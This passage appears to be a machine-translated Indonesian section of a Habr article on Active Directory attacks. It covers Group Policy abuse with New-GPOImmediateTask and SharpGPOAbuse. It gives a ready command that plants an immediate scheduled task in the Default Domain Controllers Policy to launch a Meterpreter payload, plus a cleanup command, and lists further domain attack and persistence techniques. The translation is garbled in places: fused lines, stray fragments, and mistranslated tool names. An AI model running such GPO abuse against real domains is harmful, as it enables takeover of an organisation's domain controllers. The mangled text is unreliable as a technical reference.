Computer Configuration\Preferences\Windows Settings\FilesCopy a file from a remote UNC path


Alat New-GPOImmediateTask dan SharpGPOAbuse memungkinkan Anda untuk:

  • Jalankan tugas di penjadwal tugas
  • Tambahkan hak pengguna (SeDebugPrivilege, SeTakeOwnershipPrivilege, dll.)
  • Tambahkan skrip yang berjalan setelah startup
  • Tambahkan pengguna ke grup lokal

Misalnya, tambahkan tugas di penjadwal tugas untuk mendapatkan sesi Meterpreter:

 New-GPOImmediateTask -TaskName test3 -GPODisplayName "Default Domain Controllers Policy" -CommandArguments '<powershell_meterepreter_payload>' -Force 

Setelah eksekusi, tugas yang dijadwalkan muncul tes



Dan sesi Meterpreter muncul.Untuk





menghapus tugas yang dijadwalkan, Anda perlu menjalankan perintah berikut:

 New-GPOImmediateTask -Remove -Force -GPODisplayName SecurePolicy 

Kesimpulan


Dalam artikel kami hanya memeriksa beberapa vektor serangan. Tampilan seperti Enumerate Accounts dan semprotan Kata Sandi , MS14-068 , sekelompok Bug Printer dan Delegasi Tanpa Batasan , serangan terhadap Exchange ( Penguasa , PrivExchange , ExchangeRelayX ) dapat secara signifikan memperluas cakupan serangan.

Teknik serangan dan metode penjepit (Tiket emas, Tiket perak, Pass-The-Hash, Over pass hash, SID History, DC Shadow, dll.) Terus berubah, dan tim pertahanan harus selalu siap untuk jenis serangan baru.

Source: https://habr.com/ru/post/id449278/


All Articles